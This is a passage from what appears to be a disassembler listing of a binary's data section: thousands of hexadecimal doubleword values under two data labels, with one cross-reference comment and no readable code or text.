		dd 185A9420h, 808FEFF8h, 120CC055h, 70A80961h, 0F12E3AF7h
		dd 683A523Eh, 0F3953F80h, 622C4CD3h, 24E87907h,	0E1E0E003h
		dd 0E44AB70Ch, 8264871h, 80975086h, 106B3435h, 29F87843h
		dd 0C21000FEh, 761E71AFh, 825CAD39h, 0A4EF3BACh, 580403D2h
		dd 3C88DAF2h, 595CA045h
		dd 813091CEh, 0CDB2AF53h, 813862A7h, 69D90665h,	97906820h
		dd 0DF12C20h, 723E08D6h, 474500BCh, 5E2E9CADh, 283990B6h
		dd 0D3602571h, 590437F8h, 7C919C92h, 7BD8F457h,	489A4B2Ch
		dd 71DDEF00h, 0A2762FBh, 0BED3608Dh, 32B10198h,	805EB9CAh
		dd 51F94E58h, 30EA9C36h, 3B60A0DEh, 827469B3h, 6489B41Eh
		dd 8197203h, 0FC9404F1h, 90C4E7BEh, 0D47510C8h,	74C53D00h
		dd 52A85D26h, 90D09196h, 0CC4C8A1Fh, 113CF804h,	2A9E0080h
		dd 0EAAC165Dh, 33F043BFh, 0DAA1BC59h, 0E3006027h, 241950B2h
		dd 0F0721ACAh, 0DD0C7879h, 9A406A91h, 72B32B3Eh, 0F81C3806h
		dd 0C502DE3h, 0D666BE74h, 60105488h, 0F050D90Dh, 76CCA4ABh
		dd 304560F7h, 34C971A2h, 28D4D93Eh, 0B7F0EC58h,	0F0D2534Bh
		dd 5A0CAA5h, 8CA1FE5Ch,	3E5FE2D0h, 8B822C0Ch, 0AB4FBEC3h
		dd 0BAA61448h, 0E378BC00h, 807EC04Ch, 0A7962C4Bh, 58127Ch
		dd 0EC65210h, 15004684h, 0BE5336FCh, 1DCDD1CFh,	2EFFB23Bh
		dd 0B3403C54h, 0C80F4B1h, 0A8AC2A39h, 0B6F200D6h, 0BA49B03Ah
		dd 0D12656A2h, 6817A02Fh, 71DC4C00h, 0EFFBF7h, 568ACDB3h
		dd 0E1CF0601h, 27B82201h, 16B4542Eh, 0D69048h, 0D49C8302h
		dd 0BED1C47Dh, 0A04E2B2Ch, 0FD2AFB00h, 1371AAh,	81372389h
		dd 0F855C3D3h, 4052CA30h, 0B62A76h, 5E019910h, 5BF7EB60h
		dd 0FEBA140Eh, 6217C4C9h, 7C81C094h, 5C208F8h, 0D68881C2h
		dd 20A825E1h, 79756024h, 0F47A4302h, 0E82012EAh, 26FEF3C0h
		dd 0A0242618h, 5BA7490h, 54100A14h, 72080096h, 0F527441Fh
		dd 1CAC7950h, 0F08ECF13h, 80C09C10h, 55CA2CA3h,	929CB246h
		dd 418C9254h, 64605271h, 77ADB440h, 53881C4h, 481EC44Bh
		dd 0C4741158h, 0B8F8B8F7h, 40D0172Eh, 0BE5E582Bh, 520534A6h
		dd 68DC699Ch, 0A74A24C1h, 5624DF00h, 0B4918CB8h, 0BA18DE10h
		dd 0D9FD39A5h, 98E3F705h, 44427230h, 854393EAh,	54A43D9Ch
		dd 889055h, 0CD882F9Dh,	56703D6h, 703208A1h, 6E407ED8h
		dd 0C0C16250h, 0C0A8268h, 40A43462h, 5243164h, 113D0A4Bh
		dd 181893BAh, 4C48A5CCh, 548605BCh, 0A0C284C0h,	3D1D6ACh
		dd 0B1C4A7F9h, 5809A83Bh, 0A9DE433Dh, 0BE900234h, 122CF670h
		dd 8C5100B5h, 3D0EF83Eh, 0C390F14Dh, 0A44FC9h, 0D7EB1F68h
		dd 56CEFFB1h, 0C50043E8h, 1360122Ch, 0E927BF2Bh, 0B85DE020h
		dd 73C92DF0h, 4AB05800h, 58A1EDB5h, 38492EE3h, 0EA04274Ch
		dd 0B344D0E9h, 3AB003A0h, 0C1A42FC6h, 8380CA40h, 9B3269B0h
		dd 0FD8180DEh, 16C918A5h, 0A3AA5091h, 0D7AB8F01h, 0FE6B5185h
		dd 88BB021h, 0FC90EC6Ah, 141EC534h, 86C74EEFh, 0C8E0FB56h
		dd 30F77581h, 9E98DCCCh, 933FD792h, 237101CAh, 0F7FB5FABh
		dd 55FC30h, 41F9E9D6h, 2508B1DDh, 40D058A1h, 9DF794BCh
		dd 4B48CE62h, 0D248E101h, 7690C03Eh, 2894C8F6h,	13C4A715h
		dd 0AC56BF3Fh, 0C37BB021h, 0EB6D8C40h, 3FA4107h, 3014DCE4h
		dd 58848B0Dh, 0D7050098h, 48B9F971h, 0EB7A0CF6h, 8E84B93h
		dd 304C4551h, 0FA038387h, 0EABD122Fh, 0C9DD9020h, 0C09D4A60h
		dd 369C53F0h, 0EEEC080Ah, 3C819427h, 0F97FEAC5h, 20EC80A8h
		dd 576058C9h, 0E30EB3A8h, 790AF4EAh, 0C0CB4CF6h, 5C1E9C3Ch
		dd 0C1411FA2h, 81FBD675h, 59EEF051h, 2AC938C3h,	70484C2Bh
		dd 690CC121h, 0EBF2E0E4h, 18B65B00h, 46EE631Eh,	0FEF75CC2h
		dd 0D478E891h, 54789809h, 6A3D8EFh, 0CFF7BD8Bh,	0AA002017h
		dd 8D6845ADh, 0B8664082h, 4BC97F18h, 0C4BC435Fh, 0CCD38856h
		dd 34F3B0EFh, 0CD7897EDh, 1009E126h, 6379023Fh,	60B76E2Ch
		dd 0B81A72ECh, 2A030B43h, 0A5C8D3h, 8C941260h, 58765AC4h
		dd 9C6CBE18h, 588F310h,	0A94A72B6h, 1BEC22E5h, 498EACA0h
		dd 0E101ACECh, 0BDAB45EDh, 0CD0F80Eh, 0C0F096F1h, 75EB326Bh
		dd 92D02C50h, 0C984E49Ch, 10D6AA01h, 1E460004h,	0E20656B8h
		dd 109855ADh, 0C7826FFAh, 15993E4h, 2DF85480h, 88A000D6h
		dd 1610029h, 792BE891h,	0C36A7DBEh, 31095C89h, 6248096Ah
		dd 7A445030h, 3D5C7123h, 24C9EAD4h, 0DE77FA0Fh,	0E4284F60h
		dd 0DF004C88h, 9F95BEB2h, 1ED6AD5Ah, 4012A8B1h,	0FB135FEFh
		dd 8A00A049h, 0BF9D8002h, 218F208h, 0CB6848CFh,	106160C0h
		dd 608C4550h, 0F2AB3DA4h, 5E892491h, 503498D0h,	52EC4A95h
		dd 41E48030h, 0D62EEB26h, 6F406493h, 2CED4E31h,	80C039F7h
		dd 7AC49B55h, 0E27CFD9Ah, 0BC0FA028h, 23D6F0Eh,	4B2983DFh
		dd 5F580272h, 0AF5678B5h, 9045451h, 31056BD7h, 4A84D04Bh
		dd 6295D049h, 0EEC0C150h, 3BB7C0h, 0D7AE7C72h, 1DEB6261h
		dd 9398C56Bh, 8F48E094h, 0C2AA0B24h, 0FCD809EAh, 2AB72727h
		dd 33B6CE8h, 0D68A355Dh, 68D9AFE3h, 6020BE48h, 944428CDh
		dd 286E16EBh, 9030CE40h, 0D608110Ah, 0A08202E4h, 0F8A52C3Dh
		dd 13248569h, 2F54016Ah, 85C2A6CAh, 9852AD70h, 24485002h
		dd 3CD471B8h, 0E46C214Eh, 0D63D000Ah, 6E110FA7h, 0CA84AFFEh
		dd 49CEC4Eh, 0F909DECCh, 0C0C35C83h, 16B77C79h,	31612F25h
		dd 879EFCh, 159A0D2h, 0DB651160h, 0C4D63B34h, 184B33F7h
		dd 0A4DE882Ch, 0AE562984h, 17AA00D0h, 9D5845C6h, 9ADACC05h
		dd 28F829EAh, 0FF01FE03h, 7000FB6Ah, 758FA16h, 13E606CAh
		dd 42BDC2A7h, 0DBAEBE00h, 484294A9h, 97209C66h,	0EDBF0446h
		dd 0C051FBBEh, 0D19DB26Ch, 0F83B3909h, 55C500Bh, 42CA2E6Ch
		dd 6048CC6Eh, 5DFA5902h, 604DA8AAh, 9CBF70BFh, 0C7484180h
		dd 83A83C7Eh, 0E9A32769h, 688284E4h, 0B7EB3111h, 8D009056h
		dd 0E10EA5C8h, 9A240041h, 0EB83035Eh, 80926BA4h, 95F6FE00h
		dd 1FD82E4Bh, 0A72002Fh, 0F2784EFCh, 0C0F9B52h,	8019B2B8h
		dd 0A2D7C2FAh, 0C3F899h, 68D64C0Bh, 33751409h, 0EAAA2E09h
		dd 44D6F5h, 36EC78D4h, 7B135A3Bh, 8044F121h, 2E04FD9Bh
		dd 0CCFCD36Ch, 20CEC9Ch, 0E7F5F3F7h, 38C884A7h,	28802013h
		dd 0B6594BCAh, 28FD285Ch, 7D97344h, 2D0D58BEh, 0D1AD12BDh
		dd 44FE6C60h, 0A63A0CB2h, 3C0D2856h, 6D05FC94h,	7C9313B4h
		dd 0F016C344h, 7A7767h,	9E84B925h, 36F783ECh, 0CA088795h
		dd 63652390h, 9118BA64h, 9B82684h, 7C41CE66h, 960C33C6h
		dd 7ED1008h, 4B83466Dh,	8EA24C90h, 5C0218D2h, 8127585Dh
		dd 733FFD4h, 986C24h, 457288A6h, 2A792EF2h, 0C3705B73h
dword_4E414C	dd 77BABB00h, 0A5D8CA96h, 0CFEC018Dh, 1B418CC8h, 60882069h
					; DATA XREF: ___:off_43A840o
		dd 20400E4Ah, 0D381FD5Eh, 16554BBFh, 8348214h, 27793D60h
		dd 9F5DCA12h, 67B5E830h, 789A0DE2h, 8549A5F7h, 3D893668h
		dd 341628C1h, 6EEB5F00h, 6990BB02h, 40687CBEh, 481CC948h
		dd 5C2578FEh, 5D3FB802h, 0E8D0AB04h, 0B4BE25CFh, 71133EDCh
		dd 7E4D51Ah, 847E2440h,	0C34C8027h, 909D1A7h, 874270C8h
		dd 0F116BE9Eh, 0C0521E38h, 6CA30C1Ah, 0F405A778h, 0B9CA2BB1h
		dd 3B820A0h, 0F849D91Dh, 613BD716h, 29EB81CBh, 0F3795ED8h
		dd 0F3C59FAh, 0F664FD58h, 0FAA88280h, 0A4C72F05h, 783AEC83h
		dd 0CE4912B0h, 5FE031A5h, 64EECDF8h, 5A009C24h,	7130D6D1h
		dd 30BE3C13h, 48A06F2Bh, 0E4919A9Dh, 6B01B99Ch,	0B2791554h
		dd 4440F1CDh, 0E625D922h, 939F02CAh, 28F7A46Ch,	502C840h
		dd 8FD42E07h, 7BB3D2CCh, 0A1380B29h, 0A480622Dh, 0C6941102h
		dd 0F7D95E06h, 98725Bh,	4F65F814h, 0AB641C71h, 8EEA25h
		dd 5FAFD694h, 0F1730011h, 0CA2CBB3Ah, 0F0AA7A4Dh, 0D6FE2498h
		dd 97D2AD00h, 3DA3B05Ah, 10EC0F16h, 82156E7h, 0D059DDCCh
		dd 54B2AFBEh, 0D979580Ch, 1D938h, 1B534C0Dh, 0C250F205h
		dd 3AFEF339h, 78E000CAh, 8055B42Ch, 0B67C004Ch,	0AB2B993Bh
		dd 0DB00FE79h, 9C452AEh, 73EA319Dh, 96532E6Bh, 0F85B408Ch
		dd 10D70ECCh, 203D3428h, 30F19532h, 75B88E2Ch, 0B8F60601h
		dd 313A9EA0h, 38611431h, 2800F067h, 0D8CC230Ah,	0D67805C3h
		dd 0B1C69A02h, 8093A0F1h, 0E9EAA887h, 1D5C9A31h, 2EB2FD49h
		dd 0D88A8598h, 58804B8h, 0FD7100F5h, 71E1FDFh, 6D0AB97h
		dd 3B41AA1h, 2E46EB3Bh,	48B84858h, 10942791h, 101290h
		dd 0D2EB2722h, 0F1A6ED3h, 72EA11C2h, 0CBF4486Dh, 42D89E5Fh
		dd 0DF10BA26h, 5C2E2C24h, 0E08145B0h, 6F00AD20h, 93566025h
		dd 3D240755h, 4069D7EBh, 589CF461h, 0D720BE2Ch,	0D0C41EE9h
		dd 0ADD10C1Dh, 4E015F10h, 0E6FB1AB5h, 0CC41A8FCh, 0CE003137h
		dd 0F7057438h, 0B790028Eh, 5E59BEC0h, 0C7E49CE6h, 909075EAh
		dd 55E30354h, 0DF779201h, 6A06BED8h, 0F7C5E440h, 21C92B1h
		dd 0B40CE969h, 142BEA1h, 0BD169820h, 97025C82h,	605733A0h
		dd 886606h, 309FC514h, 0BE79286Ah, 38C7B47Eh, 0E0A90F09h
		dd 921905B0h, 0CE1005Ch, 613BE654h, 3528EAB7h, 30B3D464h
		dd 8381AC2Eh, 0E10D3DA2h, 76158022h, 0F8132410h, 17C0C0C2h
		dd 911C6141h, 8100FE9Bh, 4F8062E7h, 0C8960BA9h,	0C8FCEAE6h
		dd 580BECA8h, 44B156F3h, 68135064h, 0E4244C5Ch,	0B2909Eh
		dd 4750EBD3h, 2D9BAB5Dh, 0ACB0E4A7h, 0DC02041Fh, 0DF704861h
		dd 0C6FCC05Bh, 0F7E00E49h, 806171E9h, 9D7ECAh, 557EDA0h
		dd 533309FDh, 5908009Bh, 3C6003B8h, 0E8A6D494h,	0B2819C26h
		dd 8FF8589Ah, 7DD1A450h, 0B65E0C4Ah, 0BED061F9h, 9F73220h
		dd 15A72CB5h, 0F989BA80h, 0D25EABE8h, 0E87438C5h, 42BEF080h
		dd 3004903Fh, 60F81140h, 0BCB3F158h, 18095F09h,	82C5AC58h
		dd 0CC0F08C1h, 8317A102h, 0A1C59EAh, 0B9AC5187h, 3028AAF3h
		dd 3C180A1Eh, 0BC0CFEECh, 81B7F83Dh, 0D32081DCh, 2F00107Dh
		dd 0C44555BDh, 0D6444Ch, 5AE7BF96h, 0AE5EC18Bh,	9752A801h
		dd 2207F310h, 41571460h, 0B6981075h, 2CB242EAh,	3D94009Fh
		dd 0CA8844Eh, 6122BEB9h, 1109F1E8h, 8D6C3378h, 8C299C0Ch
		dd 4AAA5880h, 194871BCh, 855EC4A4h, 7E009609h, 0DE0BC752h
		dd 98360A28h, 0E102158h, 3A2BEAADh, 0D3448281h,	2618489Ah
		dd 53FF2F6Ah, 0EA274C1Ch, 554C60AAh, 52E11CC9h,	0EB6180B6h
		dd 9B194148h, 0DDB83D16h, 675E4488h, 5856F0CDh,	65F01925h
		dd 48113460h, 6059E831h, 0A8F0DEC9h, 11567D25h,	0F4609E34h
		dd 5F554049h, 47BDEF00h, 0B3BEDEE0h, 0ED9CA046h, 416C0128h
		dd 0BD518214h, 8D3C7DECh, 0C6060B6h, 3255EBFh, 0A60CEAC8h
		dd 0B0061800h, 82FF17AAh, 0BEA91A9Ah, 0E461CE78h, 7064090Ch
		dd 814F4010h, 0F15BEB13h, 0F93DC838h, 6904D828h, 0ED93B1D4h
		dd 235A00ECh, 0ACE20FE3h, 52CC00AAh, 767D3AB0h,	0D67EB3DDh
		dd 0D2A73Eh, 4F2B1171h,	0B52C727h, 22CF219Ch, 7CC18609h
		dd 69102169h, 34600934h, 411C71C5h, 744464BEh, 7653F648h
		dd 0DC062E64h, 4C14A807h, 567A1B70h, 0E1BCABABh, 7474E3FEh
		dd 0FEC9EC6Fh, 3A3B7977h, 0F2028EB6h, 796B6A18h, 1FF080A8h
		dd 7E15406Fh, 1BC9566Ch, 2A033BE4h, 0E3BE537Bh,	4B16E095h
		dd 3024780Ah, 66A8A97Dh, 61900860h, 12B6E23Eh, 4040D30Dh
		dd 0AC24CF1Dh, 84EB187Fh, 6CE49808h, 0C8512330h, 9C7EEAB0h
		dd 0CA250398h, 0E1022CEEh, 73CEBEF2h, 25644ED2h, 0E490929Eh
		dd 0DC83ACFAh, 0D82CDC80h, 698A0024h, 0B8287833h, 7A3A9920h
		dd 0BEF68421h, 0D09241EEh, 28A87010h, 5EB85183h, 0DE5827AAh
		dd 0D0525C08h, 81129088h, 0A838D6BCh, 549C074Fh, 3FD9E366h
		dd 2006B1D1h, 60CBC04Ch, 5E8841ADh, 0B3616420h,	0D3BEC10Ch
		dd 0BCF1A671h, 99CF1005h, 8C3820F1h, 60DD3F19h,	0A2E10225h
		dd 2A61848h, 0A872BE5Dh, 106A2505h, 0C0E4964Ch,	82796D5Fh
		dd 22882870h, 0E0A88460h, 2A1C90FDh, 204C3BB5h,	4A6165C4h
		dd 97B448C9h, 5C0C4423h, 0A331E3F8h, 0D7098F00h, 605F135Ah
		dd 99F93FC6h, 58EF048Ah, 0F2408F8h, 0C3A5C82Ch,	60C96B48h
		dd 0B9AA5063h, 0E18CCF03h, 84209A3Fh, 50BD4DA6h, 0C9540513h
		dd 8CC84470h, 6261E574h, 0D8D19660h, 379460h, 696A3906h
		dd 0D3CC9B31h, 0DA96F8A0h, 0BE41E809h, 45846030h, 8E602A9h
		dd 2D0ECF92h, 0D6782EE0h, 4880F826h, 0BEE060CBh, 386D601Ch
		dd 0A613D854h, 0A23FB3FCh, 52820E8Eh, 0D0F78051h, 0ABD156h
		dd 6037BBBAh, 67477B03h, 11C717Ch, 5918E738h, 63BF418h
		dd 3FBEB358h, 6B59D8B0h, 43607960h, 0D7596168h,	11690028h
		dd 0A854CF4Bh, 74EF88EAh, 0E000670h, 0E027C27Ah, 548DBE13h
		dd 458DC7Eh, 0BDCA34D7h, 0E45D0A32h, 0C7A2B79Eh, 0C5FC6F10h
		dd 0E058945Eh, 74B49DD4h, 0CE206F40h, 0B67CB05Ch, 4C642460h
		dd 0D1175EA8h, 0A0C126F7h, 642AC64Ah, 57EE0040h, 0D05A2F1Fh
		dd 5FBEED09h, 0B420A0F4h, 15D6916h, 0FD568509h,	70197B72h
		dd 1C403B48h, 2434B0C0h, 1608E1D0h, 12AC22F5h, 7F8BCE0h
		dd 0EA0400B6h, 90063Bh,	4FCDB05h, 36792DAAh, 21CE2EDh
		dd 0E5CA3322h, 505DE117h, 624FEACCh, 5E2FE888h,	64FEBC52h
		dd 33909284h, 0FE610BEAh, 66EB5FE8h, 0CA23EE0Fh, 0B9B1C330h
		dd 0E0DBB22Eh, 2B6F039h, 1DF27943h, 0A66197D4h,	0B3188F66h
		dd 718DACEAh, 0FBC224CAh, 8F026BCh, 0D90A08E9h,	0F310A8A2h
		dd 0A4689B25h, 6CF1EEC2h, 0D24BCFF8h, 0A05E9C0Eh, 54623BD1h
		dd 59BE7511h, 8B111C75h, 3AB451B4h, 0F0489CE1h,	4F5F0034h
		dd 7A950328h, 400B753h,	71F496F3h, 3E2A7CFEh, 970678EFh
		dd 0ECE3F269h, 3A9F5527h, 0F7F00038h, 0F0F3C8D6h, 0BABE3E77h
		dd 2EEC49C1h, 5300301Fh, 0F8D4D614h, 37A07836h,	0CB28AC87h
		dd 92C9D860h, 1E30B556h, 0E8D54926h, 0A26F2264h, 13A446A0h
		dd 8CAC853Dh, 0B300C128h, 665948F8h, 5DD6EAh, 12D7C4Ch
		dd 55BDC380h, 0A2DA17Ch, 0E4DCA42Ah, 2F1D5740h,	0B902CBEEh
		dd 0FDE05834h, 74264002h, 7FC9830h, 0F860D712h,	1C665998h
		dd 4A43913Ch, 0E42890DDh, 38EAB28Bh, 78078E43h,	3DB0D6CCh
		dd 0A7665C40h, 0F7AF1806h
		dd 0BE9F598Ch, 0C480C14Fh, 2EB04945h, 3C4150h, 0CA6A53BCh
		dd 0F713A8D6h, 0C443DF7Dh, 0A72DBEh, 78364130h,	0BD0EFF56h
		dd 5839B902h, 0E80CBEF4h, 4EF7C4BCh, 9F888799h,	0B30F84h
		dd 4ACF1108h, 405E5B4Bh, 1001D0D4h, 0D90905B9h,	5C4E50Fh
		dd 0B0D10860h, 0CC4CCE71h, 56BFA257h, 0D0AF44B8h, 0DC49C93Ch
		dd 0F26A7A80h, 99F81856h, 823BE806h, 80E4263Ah,	85FDECCh
		dd 520E8FEh, 0F3491F85h, 0B4B2B2h, 42DA4F5Eh, 717B69Eh
		dd 7F95C49Ah, 2CC0ABFEh, 219F5CC9h, 7E41EAE8h, 16258892h
		dd 6D74F478h, 0B5C25h, 9DC51CA8h, 23F2122Fh, 0C2D4A09Ah
		dd 0D62550B0h, 12DC64C9h, 100A5224h, 7913E0B4h,	0E6E092C7h
		dd 8AF0B627h, 7BA5AB3Fh, 0B3C40B56h, 948E5849h,	81CBB2C4h
		dd 0D1AEDB44h, 0E84BC257h, 0FE20A89Eh, 567795h,	850DDC5Eh
		dd 2236F15Fh, 50906FFAh, 0BBC3BA00h, 65286042h,	0C20B020Ah
		dd 52E50696h, 92B83474h, 0DC002DFBh, 2083C5FEh,	2E7EA72h
		dd 0AB4C0337h, 0B16056A8h, 350AFC30h, 0B8EDB713h, 607CCA2Dh
		dd 1BC0128h, 25BFA852h,	3B9BEABEh, 0B682C827h, 2020D870h
		dd 5E2D083Ch, 0B8A9EDh,	470A4FD8h, 0EB920BB3h, 0C84032D4h
		dd 0EA12B762h, 0C5C7DD3h, 4040F7CBh, 6488A008h,	1649109Ch
		dd 0E712F800h, 4722C54h, 63FCE8FBh, 0AECD0F7h, 50F5620h
		dd 0D82B5F57h, 505832C4h, 817AACB6h, 0CDF4F03Dh, 59D43Ch
		dd 78462D12h, 324FCB7h,	0CA260DB8h, 0C00503DAh,	7CE6EAA7h
		dd 0A2AEC820h, 30B54C86h, 0F7B0C501h, 0D3D9CBCCh, 6409AEC5h
		dd 0D504C879h, 6971C5E8h, 11A8D2EFh, 0F260637Dh, 2044B9h
		dd 4AB3A8E4h, 0FC8BC9BAh, 18B478C0h, 0AF25C8Ch,	91ADBECFh
		dd 0F85A02ACh, 9C78C18Dh, 4B82C90h, 0EB784406h,	570FE3Bh
		dd 0C230AF55h, 0D87CF1ADh, 88BA60CAh, 0F444A84Eh, 680A6366h
		dd 0A7488524h, 2AE4CDE7h, 1035904Bh, 889CE31Ch,	0BB0BF9B6h
		dd 0E0A0EB52h, 3FCE5620h, 809E6AA4h, 0D390C0A6h, 721339E5h
		dd 3770539h, 11EB83C9h,	94A80074h, 45FAF09Ah, 0DC9E0C12h
		dd 79DD4689h, 606225C0h, 690074h, 0DA48528Eh, 1A020056h
		dd 0E05C94A4h, 0A6F4BED7h, 319F94B9h, 4EB446ADh, 285CC063h
		dd 0CD02BDB8h, 0E0F81FFBh, 0A32C414Bh, 1C89BC2Ch, 60426CCAh
		dd 0DC64D05Ch, 4FDBB004h, 542987CCh, 9272EA91h,	402ED884h
		dd 268881E5h, 3C6C6012h, 6F44DD50h, 41021E9h, 48B40270h
		dd 64C56D6Bh, 278880ADh, 97EC066Ah, 7181F4A1h, 585832FCh
		dd 0C0428744h, 716C1882h, 0E4EE00CCh, 0BCD8FD2Eh, 491727E8h
		dd 0F03789EDh, 783C5FB0h, 681A0770h, 0F715AA55h, 230A809Bh
		dd 0A848CB05h, 0F83604C0h, 8EC72EBh, 84D7179Eh,	0CA90815Ch
		dd 3C74FE92h, 0E25FDB84h, 3A10FCFCh, 55A701CBh,	0DEFF07C7h
		dd 69DC097Bh, 82B4A484h, 0D851717Ch, 0EC9A5001h, 92EC659h
		dd 54F00B74h, 3567900h,	1B90965Fh, 73050060h, 602F6EEh
		dd 4B2480FAh, 2E8078A0h, 3DCE2470h, 0FCB5584Ch,	19CA2BC5h
		dd 21B768D2h, 873FE0FCh, 5C422CB9h, 5E184014h, 0F9A0834Ah
		dd 27009380h, 7016B45Bh, 0F88B7652h, 53830002h,	42B56DA3h
		dd 0A007239h, 0A43EF64Eh, 30C9C74Ah, 0B56084F8h, 4D2EED6Dh
		dd 14134ED3h, 61069CC8h, 30BEA1D9h, 71B080D2h, 83270A26h
		dd 209CB88Eh, 41049D34h, 1CD16A37h, 0EA8380A8h,	100035DFh
		dd 52DB0296h, 0BF2ECBh,	1271E4A6h, 0DF46A1A4h, 2DCC4A3Fh
		dd 9B24C0E0h, 123094EDh, 307C22A0h, 608B6C76h, 3FC484B0h
		dd 40A23CD5h, 3DDCF2C0h, 0D00ADF95h, 0A8115843h, 704EA03Fh
		dd 0BE2601E0h, 0A7C0D277h, 0AE204CDCh, 5705ADE8h, 68BE34BDh
		dd 10B2D44Ah, 58A5F709h, 0A8C20BE8h, 282237C9h,	87C9CA7h
		dd 480698CAh, 91109385h, 59DF4218h, 8DEBB4E8h, 4C3C764Dh
		dd 24780E08h, 0B4FD00FCh, 0F9EB28FBh, 836CC92Fh, 0B9CA2CF0h
		dd 1D49267Fh, 0DE91011Ch, 0E0B7EB6Bh, 22005C30h, 0A18BDB62h
		dd 8698CEh, 2BDA75B6h, 0EE18A6BDh, 33AFBF09h, 12144046h
		dd 197774BBh, 5838F2CAh, 0D4ED404Bh, 8D5AEADAh,	13D888B0h
		dd 0D8B65DEFh, 29129E38h, 6402BCA8h, 0F99DFA6Ah, 0E2F10230h
		dd 885CFCEBh, 9D3CC03h,	12B07C1Eh, 1614C954h, 0D8490098h
		dd 5FD3FEC4h, 0A5080D51h, 57CC80C8h, 0B80613A6h, 0FA117C4Ch
		dd 0BEC30B27h, 0C0E469FBh, 590B62F4h, 2E25D13h,	371BB90h
		dd 0E7F0FC2Dh, 14656466h, 0DCB0D138h, 0F0A7071h, 4AC6FFA3h
		dd 3BB75240h, 40164986h, 0F81EDE8Ch, 57E3F10h, 1771C49Ch
		dd 0EBD0034Ah, 0D80B5C6Ah, 64C3543Dh, 80925348h, 0F4781116h
		dd 6D5FFAA0h, 0F6858027h, 0BBE18C97h, 4C38A320h, 0D4ECCF13h
		dd 2320C350h, 0DF0AD087h, 0F81856F9h, 0A220617Bh, 0E449052Bh
		dd 82131C8Dh, 5E20D860h, 64AAAAEh, 31F85FABh, 6D3B3071h
		dd 0D1ED1691h, 4C7748C2h, 0E4A09F7Ch, 27C0CB0Bh, 1081E037h
		dd 0C2486C5h, 0DCA490F8h, 965B53D4h, 41BF3C8Ch,	0FC9C254Dh
		dd 1C00F60Ah, 0E5841972h, 0CC33D29h, 0DA7F06D3h, 1D7AD028h
		dd 5BF07E48h, 628BCC40h, 0CB6D22F8h, 64789B70h,	0A654D707h
		dd 14A13BB6h, 0E6F05907h, 0CD911675h, 6D870049h, 15CB3F38h
		dd 64BDCA1Ah, 179C6C60h, 0C9AAB23Dh, 0D184E000h, 5E81A0B1h
		dd 0E0B678ABh, 5868216Fh, 0F7B040FAh, 19CB5AC0h, 0C83C02F1h
		dd 5C1A093Bh, 0D867A842h, 96F33D06h, 0DCC913E0h, 0BAB49155h
		dd 54352F2Dh, 0B57850D6h, 0F770789Eh, 0D2782F61h, 0C92B5ED0h
		dd 0F0AEE1D0h, 0B4B89ADFh, 3DA4D320h, 959F7DE1h, 223B0B7Ah
		dd 0C9710880h, 0B97EEC0h, 134071ACh, 0EBCA0E68h, 0F07A9209h
		dd 90D36317h, 3757D406h, 21145A78h, 7635C0h, 0FEEAAF54h
		dd 64D0D050h, 0B380A4Bh, 0C9C50F58h, 7414BBEBh,	0E34CBE77h
		dd 786E263Fh, 497BFF0Fh, 9D5C2276h, 80A20458h, 3F16B398h
		dd 74497F00h, 8613721Ah, 82BC2747h, 0EB66B4E0h,	82BCD95Ch
		dd 0C86CE7CAh, 0AAD2FCh, 1C9CFB71h, 0A2EB9097h,	36B0606Eh
		dd 806DBCF0h, 0D700028Dh, 26338F80h, 0CD1A196h,	7BC9F777h
		dd 2BD7620h, 0F8C3EAC4h, 9A880524h, 80301BD0h, 0DFFD4998h
		dd 18FFAE2Ch, 0F131700Ch, 8D90901h, 68019DF5h, 60FA6BBBh
		dd 2F0F79Ah, 911D369h, 5E48C4B8h, 0B39CC74Ah, 0D0DCE7F8h
		dd 88418E04h, 5BD6E307h, 56B08922h, 39B4FC9Dh, 71658BC9h
		dd 93FCA811h, 0BE5462h,	649CB36Dh, 0BB138301h, 0D770F7E8h
		dd 0F1C26479h, 505677FEh, 9C17AB58h, 14FE47A0h,	50AC4Ch
		dd 0AAEBB712h, 73F317h,	0FA56A48Ah, 0AE597B2Ah,	3303CF00h
		dd 0F6782F6Ah, 12A724E7h, 76902046h, 7A5B1784h,	99FF0019h
		dd 86DFAD2Bh, 0A1B25400h, 0E18A7053h, 3133F056h, 1310830Ah
		dd 5A08817Fh, 0DBE6297Bh, 0D90730BAh, 0C0B015BDh, 0E520190Ch
		dd 0F2E0D8B5h, 381700FAh, 1192B25Bh, 0EF005E77h, 0C720594Eh
		dd 0C00B6233h, 23FB3150h, 0F3D8C71h, 9C3B95h, 7BF43C83h
		dd 732BE626h, 5A88302Ch, 0A3AC1358h, 10CD7930h,	7E8EF1h
		dd 59D14E22h, 356E74FBh, 9378EAE4h, 0B0054FAh, 9ECD5E87h
		dd 54F18414h, 311876h, 4913DDC0h, 36D0A78h, 7DE6281Dh
		dd 828D8EC0h, 3CB4091h,	20A5671Ah, 3689F1DCh, 8A88805Fh
		dd 461653C1h, 3A9800D4h, 19329D0Bh, 20C1912Eh, 5F5E867Bh
		dd 1AA37086h, 0F93CB0C8h, 0E03079Eh, 0A8DA990Ch, 70E82A8Ah
		dd 0A3987302h, 0B92217Ch
dword_4E514C	dd 3350F8A1h, 3044FE30h, 0F0BDBCDAh, 10FF60B4h,	0AC545EDFh
		dd 0D8F08EE9h, 58F8CCC1h, 971602FBh, 8BA74437h,	0EFF202h
		dd 80C835F1h, 0D9059CE6h, 0B78D44C1h, 36C5F287h, 636CB800h
		dd 0B8566h, 6DB302C9h, 48F13C32h, 0B7891C00h, 0CDEA5D94h
		dd 0A37A0CB6h, 0E85892C2h, 2E2C5E00h, 7FB33D8Dh, 0FAC4FE8Ch
		dd 334B0059h, 6712387Bh, 4531195Eh, 9E0BF0F8h, 20A38448h
		dd 2B3DC0DDh, 7C058E7Fh, 0CB2EC46Eh, 14070C84h,	0D1B41930h
		dd 0C1F75C80h, 18AB6905h, 204F9B05h, 74BFD9D0h,	0C42A18DEh
		dd 6E5C4B04h, 5C806687h, 7380A299h, 0A5A3157Bh,	2D0AD0C6h
		dd 91CC1DAh, 98004DEFh,	62366E6Ch, 2900487Fh, 0A412DDCBh
		dd 0EC55F033h, 0A0436090h, 304258C8h, 7CE52B01h, 4FF0AFCCh
		dd 1D6C60h, 818FDAC5h, 7433C28Ah, 6586AB1Eh, 0B60F13D7h
		dd 45D235h, 740CC60Bh, 24C1B001h, 83BC84B3h, 0FD93449h
		dd 33C92060h, 2B989Ch, 0CDBDDA46h, 0F15B2982h, 4F4C3100h
		dd 9559A814h, 0F73B3119h, 0EC0B6F60h, 8D00D0F1h, 36947E80h
		dd 439AA3h, 487999D4h, 63199CAAh, 2307D62h, 20784459h
